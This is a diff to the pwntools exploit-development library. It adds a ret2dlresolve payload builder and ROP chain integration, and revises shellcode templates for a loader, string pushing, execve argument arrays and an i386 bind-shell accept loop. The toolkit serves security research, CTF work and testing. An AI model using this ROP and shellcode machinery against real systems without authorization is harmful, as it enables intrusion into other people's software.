+        log.debug("Version index addr: %s", hex(ver_addr))
+        log.debug("Data addr: %s", hex(self.data_addr))
+        if not self.elf.memory[ver_addr]:
+            log.warn("Ret2dlresolve is likely impossible in this ELF "
+                     "(too big gap between text and writable sections).\n"
+                     "If you get a segmentation fault with fault_addr = %#x, "
+                     "try a different technique.", ver_addr)
+            self.unreliable = True
+
+    def _build_args(self):
+        # The second part of the payload will include strings and pointers needed for ROP.
+        queue = Queue()
+
+        # We first have to process the arguments: replace lists and strings with
+        # pointers to the payload. Add lists contents and marked strings to the queue
+        # to be processed later.
+        for i, arg in enumerate(self.real_args):
+            if isinstance(arg, (list, tuple)):
+                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
+                queue.extend(arg)
+            elif isinstance(arg, bytes):
+                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
+                queue.append(MarkedBytes(arg))
+
+        # Now we process the generated queue, which contains elements that will be in
+        # the payload. We replace lists and strings with pointers, add lists elements
+        # to the queue, and mark strings so next time they are processed they are
+        # added and not replaced again.
+        while len(queue) > 0:
+            top = queue[0]
+            if isinstance(top, (list, tuple)):
+                top = pack(self.data_addr + len(self.payload) + queue.size())
+                queue.extend(queue[0])
+            elif isinstance(top, MarkedBytes):
+                # Just add them
+                pass
+            elif isinstance(top, bytes):
+                top = pack(self.data_addr + len(self.payload) + queue.size())
+                queue.append(MarkedBytes(queue[0]))
+            elif isinstance(top, int):
+                top = pack(top)
+
+            self.payload += top
+            queue.pop(0)
+
+    def _build(self):
+        self._build_structures()
+        self._build_args()

pwnlib/rop/rop.py

@@ -277,6 +277,7 @@ import hashlib
 import itertools
 import os
 import re
+import shutil
 import six
 import string
 import sys
@@ -289,6 +290,7 @@ from pwnlib.context import context
 from pwnlib.elf import ELF
 from pwnlib.log import getLogger
 from pwnlib.rop import srop
+from . import ret2dlresolve
 from pwnlib.rop.call import AppendedArgument
 from pwnlib.rop.call import Call
 from pwnlib.rop.call import CurrentStackPointer
@@ -304,6 +306,13 @@ from pwnlib.util.packing import pack
 log = getLogger(__name__)
 __all__ = ['ROP']
 
+enums = Call, constants.Constant
+try:
+    from enum import Enum
+except ImportError:
+    pass
+else:
+    enums += Enum,
 
 class Padding(object):
     """
@@ -684,7 +693,7 @@ class ROP(object):
         """
         Return a description for an object in the ROP stack
         """
-        if isinstance(object, (Call, constants.Constant)):
+        if isinstance(object, enums):
             return str(object)
         if isinstance(object, six.integer_types):
             return self.unresolve(object)
@@ -766,7 +775,7 @@ class ROP(object):
             elif isinstance(slot, Call):
                 stack.describe(self.describe(slot))
 
-                registers    = dict(zip(slot.abi.register_arguments, slot.args))
+                registers    = slot.register_arguments
 
                 for value, name in self.setRegisters(registers):
                     if name in registers:
@@ -785,7 +794,10 @@ class ROP(object):
                 stack.append(slot.target)
 
                 # For any remaining arguments, put them on the stack
-                stackArguments = slot.args[len(slot.abi.register_arguments):]
+                stackArguments = slot.stack_arguments
+                for argument in slot.stack_arguments_before:
+                    stack.describe("[dlresolve index]")
+                    stack.append(argument)
                 nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))
 
                 # Generally, stack-based arguments assume there's a return
@@ -880,7 +892,7 @@ class ROP(object):
 
 
     def find_stack_adjustment(self, slots):
-        self.search(move=slots * context.arch)
+        self.search(move=slots * context.bytes)
 
     def chain(self):
         """Build the ROP chain
@@ -965,7 +977,10 @@ class ROP(object):
                 SYS_sigreturn  = constants.SYS_rt_sigreturn
 
             for register, value in zip(frame.arguments, arguments):
-                frame[register] = value
+                if not isinstance(value, six.integer_types + (Unresolved,)):
+                    frame[register] = AppendedArgument(value)
+                else:
+                    frame[register] = value
 
         # Set up a call frame which will set EAX and invoke the syscall
         call = Call('SYS_sigreturn',
@@ -1060,13 +1075,19 @@ class ROP(object):
 
         return os.path.join(cachedir, sha256.hexdigest())
 
+    @staticmethod
+    def clear_cache():
+        """Clears the ROP gadget cache"""
+        cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache')
+        shutil.rmtree(cachedir)
+
     def __cache_load(self, elf):
         filename = self.__get_cachefile_name(elf)
         if not os.path.exists(filename):
             return None
-        log.info_once('Loaded cached gadgets for %r' % elf.file.name)
         gadgets = eval(open(filename).read())
         gadgets = {k - elf.load_addr + elf.address:v for k, v in gadgets.items()}
+        log.info_once('Loaded %s cached gadgets for %r', len(gadgets), elf.file.name)
         return gadgets
 
     def __cache_save(self, elf, data):
@@ -1080,7 +1101,7 @@ class ROP(object):
         #
         # - leave
         # - pop reg
-        # - add $sp, value
+        # - add $sp, <hexadecimal value>
         # - ret
         #
         # Currently, ROPgadget does not detect multi-byte "C2" ret.
@@ -1088,7 +1109,7 @@ class ROP(object):
         #
 
         pop   = re.compile(r'^pop (.{3})')
-        add   = re.compile(r'^add [er]sp, (\S+)$')
+        add   = re.compile(r'^add [er]sp, ((?:0[xX])?[0-9a-fA-F]+)$')
         ret   = re.compile(r'^ret$')
         leave = re.compile(r'^leave$')
         int80 = re.compile(r'int +0x80')
@@ -1104,6 +1125,8 @@ class ROP(object):
         # False
         # >>> valid('add esp, 0x24')
         # True
+        # >>> valid('add esp, esi')
+        # False
         #
         valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))
 
@@ -1270,6 +1293,20 @@ class ROP(object):
 
         return result
 
+    def ret2dlresolve(self, dlresolve):
+        elf = next(elf for elf in self.elfs if elf.get_section_by_name(".plt"))
+        elf_base = elf.address if elf.pie else 0
+        plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base
+        log.debug("PLT_INIT: %#x", plt_init)
+
+        reloc_index = dlresolve.reloc_index
+        real_args = dlresolve.real_args
+        call = Call("[plt_init] " + dlresolve.symbol.decode(),
+                    plt_init,
+                    dlresolve.real_args,
+                    before=[reloc_index])
+        self.raw(call)
+
     def __getattr__(self, attr):
         """Helper to make finding ROP gadets easier.
 

pwnlib/shellcraft/templates/aarch64/linux/loader_append.asm

@@ -17,18 +17,12 @@ Example:
 The following doctest is commented out because it doesn't work on Travis
 for reasons I cannot diagnose.  However, it should work just fine :-)
 
-    # >>> gcc = process(['aarch64-linux-gnu-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
-    # >>> gcc.write(b'''
-    # ... int main() {
-    # ...     printf("Hello, %s!\\n", "world");
-    # ... }
-    # ... ''')
-    # >>> gcc.shutdown('send')
-    # >>> gcc.poll(True)
-    # 0
-    # >>> sc = shellcraft.loader_append('a.out')
-    # >>> run_assembly(sc).recvline()
-    # 'Hello, world!\n'
+    >>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
+    >>> payloadELF = ELF.from_assembly(payload)
+    >>> loader = shellcraft.loader_append(payloadELF.data)
+    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
+    >>> loaderELF.process().recvall()
+    b'Hello, world!\n'
 
 </%docstring>
 <%page args="data = None"/>
@@ -46,7 +40,7 @@ ${there}:
 <%
 import os
 
-if os.path.isfile(data):
+if b'\x00' not in data and os.path.isfile(data):
     with open(data, 'rb') as f:
         data = f.read()
 %>

pwnlib/shellcraft/templates/aarch64/memcpy.asm

@@ -0,0 +1,19 @@
+<% from pwnlib.shellcraft import aarch64, pretty, common %>
+<%docstring>Copies memory.
+
+Args:
+    dest: Destination address
+    src: Source address
+    n: Number of bytes
+</%docstring>
+<%page args="dest, src, n"/>
+<%
+memcpy_loop = common.label("memcpy_loop")
+%>
+    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */
+    ${aarch64.setregs({'x0': dest, 'x1': src, 'x2': n})}
+${memcpy_loop}:
+    ldrb w3, [x1], #1
+    strb w3, [x0], #1
+    subs x2, x2, #1
+    bge ${memcpy_loop}

pwnlib/shellcraft/templates/aarch64/pushstr.asm

@@ -15,64 +15,19 @@ Args:
 
 Examples:
 
-    >>> print(shellcraft.pushstr("Hello!").rstrip())
-        /* push b'Hello!\x00' */
-        /* Set x14 = 36762444129608 = 0x216f6c6c6548 */
-        mov  x14, #25928
-        movk x14, #27756, lsl #16
-        movk x14, #8559, lsl #0x20
-        str x14, [sp, #-16]!
-    >>> print(shellcraft.pushstr("Hello, world!").rstrip())
-        /* push b'Hello, world!\x00' */
-        /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
-        mov  x14, #25928
-        movk x14, #27756, lsl #16
-        movk x14, #11375, lsl #0x20
-        movk x14, #30496, lsl #0x30
-        /* Set x15 = 143418749551 = 0x21646c726f */
-        mov  x15, #29295
-        movk x15, #25708, lsl #16
-        movk x15, #33, lsl #0x20
-        stp x14, x15, [sp, #-16]!
-    >>> print(shellcraft.pushstr("Hello, world, bienvenue").rstrip())
-        /* push b'Hello, world, bienvenue\x00' */
-        /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
-        mov  x14, #25928
-        movk x14, #27756, lsl #16
-        movk x14, #11375, lsl #0x20
-        movk x14, #30496, lsl #0x30
-        /* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
-        mov  x15, #29295
-        movk x15, #25708, lsl #16
-        movk x15, #8236, lsl #0x20
-        movk x15, #26978, lsl #0x30
-        stp x14, x15, [sp, #-16]!
-        /* Set x14 = 28558089656888933 = 0x65756e65766e65 */
-        mov  x14, #28261
-        movk x14, #25974, lsl #16
-        movk x14, #30062, lsl #0x20
-        movk x14, #101, lsl #0x30
-        str x14, [sp, #-16]!
-    >>> print(shellcraft.pushstr("Hello, world, bienvenue!").rstrip())
-        /* push b'Hello, world, bienvenue!\x00' */
-        /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
-        mov  x14, #25928
-        movk x14, #27756, lsl #16
-        movk x14, #11375, lsl #0x20
-        movk x14, #30496, lsl #0x30
-        /* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
-        mov  x15, #29295
-        movk x15, #25708, lsl #16
-        movk x15, #8236, lsl #0x20
-        movk x15, #26978, lsl #0x30
-        stp x14, x15, [sp, #-16]!
-        /* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
-        mov  x14, #28261
-        movk x14, #25974, lsl #16
-        movk x14, #30062, lsl #0x20
-        movk x14, #8549, lsl #0x30
-        mov  x15, xzr
-        stp x14, x15, [sp, #-16]!
+    >>> string = "Hello, world!"
+    >>> assembly = shellcraft.pushstr(string)
+    >>> assembly += shellcraft.write(1, 'sp', len(string))
+    >>> assembly += shellcraft.exit()
+    >>> ELF.from_assembly(assembly).process().recvall()
+    b'Hello, world!'
+
+    >>> string = "Hello, world! This is a long string! Wow!"
+    >>> assembly = shellcraft.pushstr(string)
+    >>> assembly += shellcraft.write(1, 'sp', len(string))
+    >>> assembly += shellcraft.exit()
+    >>> ELF.from_assembly(assembly).process().recvall()
+    b'Hello, world! This is a long string! Wow!'
 </%docstring>
 <%
 if isinstance(string, six.text_type):
@@ -91,6 +46,8 @@ while len(string) % 8:
 words = packing.unpack_many(string)
 pairs = lists.group(2, words)
 
+pairs = pairs[::-1]
+
 # The stack must be 16-byte aligned
 total = len(pairs) * 16
 

pwnlib/shellcraft/templates/aarch64/pushstr_array.asm

@@ -2,7 +2,7 @@
     from pwnlib import shellcraft
     from pwnlib.context import context as ctx
     from pwnlib.util.iters import group
-    from six import text_type, binary_type
+    from six import text_type, binary_type, ensure_binary
 %>
 <%docstring>
 Pushes an array/envp-style array of pointers onto the stack.
@@ -14,66 +14,44 @@ Arguments:
         Single argument or list of arguments to push.
         NULL termination is normalized so that each argument
         ends with exactly one NULL byte.
+
+Example:
+    >>> assembly = shellcraft.execve("/bin/sh", ["sh", "-c", "echo Hello string $WORLD"], {"WORLD": "World!"})
+    >>> ELF.from_assembly(assembly).process().recvall()
+    b'Hello string World!\n'
 </%docstring>
 <%page args="reg, array, register1='x14', register2='x15'"/>
 <%
 if isinstance(array, (binary_type, text_type)):
     array = [array]
 
-# Normalize all of the arguments' endings
+# Convert all items to strings
+array = [ensure_binary(x) for x in array]
+
+# Normalize line endings for each item
 array = [arg.rstrip(b'\x00') + b'\x00' for arg in array]
 
+# Join everything in the string-to-be-pushed
+string = b''.join(array)
+
 # Maximum amount that we can adjust SP by at once is 4095,
 # which seems like a safe maximum.
 if len(array) * 8 > 4095:
     raise Exception("Array size is too large (%i), max=4095" % len(array))
-
-# Join them into one big string that can be pushed
-array_str = b''.join(array)
-
-# Create a listing of offsets from what will be the "top" of the stack.
-num_pointers = len(array)
-
-# Account for the NULL terminator
-num_pointers += 1
-
-while num_pointers % 2 != 0:
-    num_pointers += 1
-
-# Offset from the 'top' of the stack, to the data pointed at
-sp_to_data = num_pointers * ctx.bytes
-
-# List of amounts to subtract from $SP
-offsets = {}
-for i,arg in enumerate(reversed(array)):
-    offsets[i] = sp_to_data + len(array_str) - len(arg)
-
-# If the array length is ODD we can sneak in our null terminator at the end
-if len(array) % 2 == 1:
-    offsets[len(offsets)] = 'sp'
-
-sorted_offsets = []
-for key in sorted(offsets):
-    sorted_offsets.append(offsets[key])
-
-# Load the offsets into pairs
-pairwise_offsets = group(2, sorted_offsets)
 %>\
     /* push argument array ${repr(array)} */
-    ${shellcraft.pushstr(array_str, register1=register1, register2=register2)}
+    ${shellcraft.pushstr(string, register1=register1, register2=register2)}
 
-    /* adjust the stack pointer to account for the array of pointers */
-    sub sp, sp, ${num_pointers * ctx.bytes}
+    /* push null terminator */
+    ${shellcraft.mov(register1, 0)}
+    str ${register1}, [sp, #-8]!
 
-    /* push pointers onto the stack in pairs */
-%for i, (a, b) in enumerate(pairwise_offsets):
-    ${shellcraft.mov(register1, a)}
-    ${shellcraft.mov(register2, b)}
-    sub  ${register1}, sp, ${register1}
-    sub  ${register2}, sp, ${register2}
-    stp  ${register1}, ${register2}, [sp], ${i * 16}
+    /* push pointers onto the stack */
+%for i, value in enumerate(reversed(array)):
+   ${shellcraft.mov(register1, (i+1)*8 + string.index(value))}
+   add ${register1}, sp, ${register1}
+   str ${register1}, [sp, #-8]! /* ${array[-i]} */
 %endfor
-%if len(array[-1] != 'sp')
 
     /* set ${reg} to the current top of the stack */
     ${shellcraft.mov(reg,'sp')}

pwnlib/shellcraft/templates/amd64/linux/loader_append.asm

@@ -14,22 +14,15 @@ Arguments:
 
 Example:
 
-    >>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
-    >>> gcc.write(b'''
-    ... int main() {
-    ...     printf("Hello, %s!\\n", "amd64");
-    ... }
-    ... ''')
-    >>> gcc.shutdown('send')
-    >>> gcc.poll(True)
-    0
-    >>> sc = shellcraft.loader_append('a.out')
+    >>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
+    >>> payloadELF = ELF.from_assembly(payload)
+    >>> payloadELF.arch
+    'amd64'
+    >>> loader = shellcraft.loader_append(payloadELF.data)
+    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
+    >>> loaderELF.process().recvall()
+    b'Hello, world!\n'
 
-The following doctest is commented out because it doesn't work on Travis
-for reasons I cannot diagnose.  However, it should work just fine :-)
-
-    # >>> run_assembly(sc).recvline() == b'Hello, amd64!\n'
-    # True
 
 </%docstring>
 <%page args="data = None"/>
@@ -47,7 +40,7 @@ ${elf_data}:
 <%
 import os
 
-if os.path.isfile(data):
+if b'\x00' not in data and os.path.isfile(data):
     with open(data, 'rb') as f:
         data = f.read()
 %>

pwnlib/shellcraft/templates/i386/linux/acceptloop_ipv4.asm

@@ -20,22 +20,22 @@ ${acceptloop}:
     /*  Socket file descriptor is placed in EBP */
 
     /*  sock = socket(AF_INET, SOCK_STREAM, 0) */
-    ${i386.linux.push(0)}
-    ${i386.linux.push('SOCK_STREAM')}
-    ${i386.linux.push('AF_INET')}
+    ${i386.push(0)}
+    ${i386.push('SOCK_STREAM')}
+    ${i386.push('AF_INET')}
     ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_socket', 'esp')}
 
-    ${i386.linux.mov('esi', 'eax')}      /* keep socket fd */
+    ${i386.mov('esi', 'eax')}      /* keep socket fd */
 
     /*  bind(sock, &addr, sizeof addr); // sizeof addr == 0x10 */
-    ${i386.linux.push(0)}
+    ${i386.push(0)}
     /* ${htons(port)} == htons(${port}) */
-    ${i386.linux.push('AF_INET | (%d << 16)' % htons(port))}
-    ${i386.linux.mov('ecx', 'esp')}
+    ${i386.push('AF_INET | (%d << 16)' % htons(port))}
+    ${i386.mov('ecx', 'esp')}
 
-    ${i386.linux.push(0x10)}    /* sizeof addr */
-    ${i386.linux.push('ecx')}   /* &addr */
-    ${i386.linux.push('eax')}   /* sock */
+    ${i386.push(0x10)}    /* sizeof addr */
+    ${i386.push('ecx')}   /* &addr */
+    ${i386.push('eax')}   /* sock */
     ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_bind', 'esp')}
 
     /*  listen(sock, whatever) */
@@ -44,17 +44,17 @@ ${acceptloop}:
 
 ${looplabel}:
     /*  accept(sock, NULL, NULL) */
-    ${i386.linux.push(0x0)}
-    ${i386.linux.push('esi')} /* sock */
+    ${i386.push(0x0)}
+    ${i386.push('esi')} /* sock */
     ${i386.linux.syscall('SYS_socketcall', 'SYS_socketcall_accept', 'esp')}
 
-    ${i386.linux.mov('ebp', 'eax')}      /* keep in-comming socket fd */
+    ${i386.mov('ebp', 'eax')}      /* keep in-coming socket fd */
 
     ${i386.linux.syscall('SYS_fork')}
     xchg eax, edi
 
     test edi, edi
-    ${i386.linux.mov('ebx', 'ebp')}
+    ${i386.mov('ebx', 'ebp')}
     cmovz ebx, esi /*  on child we close the server sock instead */
 
     /*  close(sock) */

pwnlib/shellcraft/templates/i386/linux/loader.asm

@@ -104,6 +104,9 @@ PT_LOAD  = 1
     /* AT_RANDOM */
     push esp
     push 25
+    /* AT_SECURE */
+    push ebx
+    push 23
 
     push ebx /* envp */
     push ebx /* argv */

pwnlib/shellcraft/templates/i386/linux/loader_append.asm

@@ -14,22 +14,14 @@ Arguments:
 
 Example:
 
-    >>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
-    >>> gcc.write(b'''
-    ... int main() {
-    ...     printf("Hello, %s!\\n", "i386");
-    ... }
-    ... ''')
-    >>> gcc.shutdown('send')
-    >>> gcc.poll(True)
-    0
-    >>> sc = shellcraft.loader_append('a.out')
-
-The following doctest is commented out because it doesn't work on Travis
-for reasons I cannot diagnose.  However, it should work just fine :-)
-
-    # >>> run_assembly(sc).recvline() == b'Hello, i386!\n'
-    # True
+    >>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
+    >>> payloadELF = ELF.from_assembly(payload)
+    >>> payloadELF.arch
+    'i386'
+    >>> loader = shellcraft.loader_append(payloadELF.data)
+    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
+    >>> loaderELF.process().recvall()
+    b'Hello, world!\n'
 
 </%docstring>
 <%page args="data = None"/>
@@ -47,7 +39,7 @@ ${elf_data}:
 <%
 import os
 
-if os.path.isfile(data):
+if b'\x00' not in data and os.path.isfile(data):
     with open(data, 'rb') as f:
         data = f.read()
 %>

pwnlib/shellcraft/templates/i386/linux/mprotect_all.asm

@@ -22,6 +22,6 @@
 %endif
 ${label}:
     ${i386.linux.syscall('SYS_mprotect', 'ebx', 'ecx', 'PROT_READ | PROT_WRITE | PROT_EXEC')}
-    ${i386.linux.mov('ecx', 0x1000)}
+    ${i386.mov('ecx', 0x1000)}
     add ebx, ecx
     jnz ${label}

pwnlib/shellcraft/templates/thumb/crash.asm

@@ -9,4 +9,4 @@ Example:
 </%docstring>
     pop {r0-r12,lr}
     ldr sp, [sp, 64]
-    bx  r1
+    pop {pc}

pwnlib/shellcraft/templates/thumb/linux/loader_append.asm

@@ -17,18 +17,15 @@ Example:
 The following doctest is commented out because it doesn't work on Travis
 for reasons I cannot diagnose.  However, it should work just fine :-)
 
-    # >>> gcc = process(['arm-linux-gnueabihf-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
-    # >>> gcc.write(b'''
-    # ... int main() {
-    # ...     printf("Hello, %s!\\n", "world");
-    # ... }
-    # ... ''')
-    # >>> gcc.shutdown('send')
-    # >>> gcc.poll(True)
-    # 0
-    # >>> sc = shellcraft.loader_append('a.out')
-    # >>> run_assembly(sc).recvline()
-    # 'Hello, world!\n'
+    >>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
+    >>> payloadELF = ELF.from_assembly(payload)
+    >>> payloadELF.arch
+    'arm'
+    >>> loader = shellcraft.loader_append(payloadELF.data)
+    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
+    >>> loaderELF.process().recvall()
+    b'Hello, world!\n'
+
 
 </%docstring>
 <%page args="data = None"/>
@@ -44,7 +41,7 @@ ${there}:
 <%
 import os
 
-if os.path.isfile(data):
+if b'\x00' not in data and os.path.isfile(data):
     with open(data, 'rb') as f:
         data = f.read()
 %>